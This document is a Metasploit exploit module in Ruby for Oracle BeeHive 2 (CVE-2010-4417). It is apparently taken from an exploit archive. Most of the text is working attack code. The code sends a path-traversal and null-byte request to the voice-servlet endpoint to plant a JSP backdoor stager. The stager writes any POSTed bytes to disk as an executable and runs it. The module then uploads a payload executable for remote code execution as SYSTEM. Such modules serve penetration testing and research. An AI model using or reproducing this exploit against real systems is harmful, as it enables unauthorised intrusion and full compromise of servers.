Oracle BeeHive 2 – ‘voice-servlet processEvaluation()’ Write File (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "Oracle BeeHive 2 voice-servlet processEvaluation() Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Oracle BeeHive. The processEvaluation method found in voice-servlet can be abused to write a malicious file onto the target machine, and gain remote arbitrary code execution under the context of SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ '1c239c43f521145fa8385d64a9c32243', # Found the vuln first 'mr_me <steventhomasseeley[at]gmail.com>', # https://twitter.com/ae0n_ (overlapped finding & PoC) 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2010-4417' ], [ 'ZDI', '11-020' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html' ] ], 'DefaultOptions' => { 'RPORT' => 7777 }, 'Platform' => 'win', 'Targets' => [ ['Oracle Beehive 2', {}] ], 'Privileged' => true, 'DisclosureDate' => 'Jun 09 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, "Oracle Beehive's base directory", '/']) ], self.class) end def check res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp')) if res && /RECXML Prompt Tester/ === res.body return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit unless check == Exploit::CheckCode::Detected fail_with(Failure::NotVulnerable, 'Target does not appear to be Oracle BeeHive') end # Init some names exe_name = "#{Rex::Text.rand_text_alpha(5)}.exe" stager_name = "#{Rex::Text.rand_text_alpha(5)}.jsp" print_status("Stager name is: #{stager_name}") print_status("Executable name is: #{exe_name}") # pwd: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home # Targeted path: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa register_files_for_cleanup( "../BEEAPP/applications/voice-servlet/voice-servlet/prompt-qa/#{stager_name}" ) # Ok fire! print_status("Uploading stager...") res = upload_stager(stager_name, exe_name) # Hmm if we fail to upload the stager, no point to continue. unless res fail_with(Failure::Unknown, 'Connection timed out.') end print_status("Uploading payload...") upload_payload(stager_name) end # Our stager is basically a backdoor that allows us to upload an executable with a POST request. def get_jsp_stager(exe_name) jsp = %Q|<%@ page import="java.io.*" %> <% ByteArrayOutputStream buf = new ByteArrayOutputStream(); BufferedReader reader = request.getReader(); int tmp; while ((tmp = reader.read()) != -1) { buf.write(tmp); } FileOutputStream fostream = new FileOutputStream("#{exe_name}"); buf.writeTo(fostream); fostream.close(); Runtime.getRuntime().exec("#{exe_name}"); %>| # Since we're sending it as a GET request, we want to keep it smaller so # we gsub stuff we don't want. jsp.gsub!("\n", '') jsp.gsub!(' ', ' ') Rex::Text.uri_encode(jsp) end # Stager will be found under: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\BEEAPP\applications\voice-servlet\voice-servlet\prompt-qa\ def upload_stager(stager_name, exe_name) jsp_stager = get_jsp_stager(exe_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', 'showRecxml.jsp') send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'encode_params' => false, # Don't encode %00 for us 'vars_get' => { 'evaluation' => jsp_stager, 'recxml' => "..\\#{stager_name}%00" } }) end # Payload will be found under: # C:\oracle\product\2.0.1.0.0\beehive_2\j2ee\home\ def upload_payload(stager_name) uri = normalize_uri(target_uri.path, 'voice-servlet', 'prompt-qa', stager_name) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'data' => generate_payload_exe(code: payload.encoded) }) end def print_status(msg) super("#{rhost}:#{rport} - #{msg}") end end |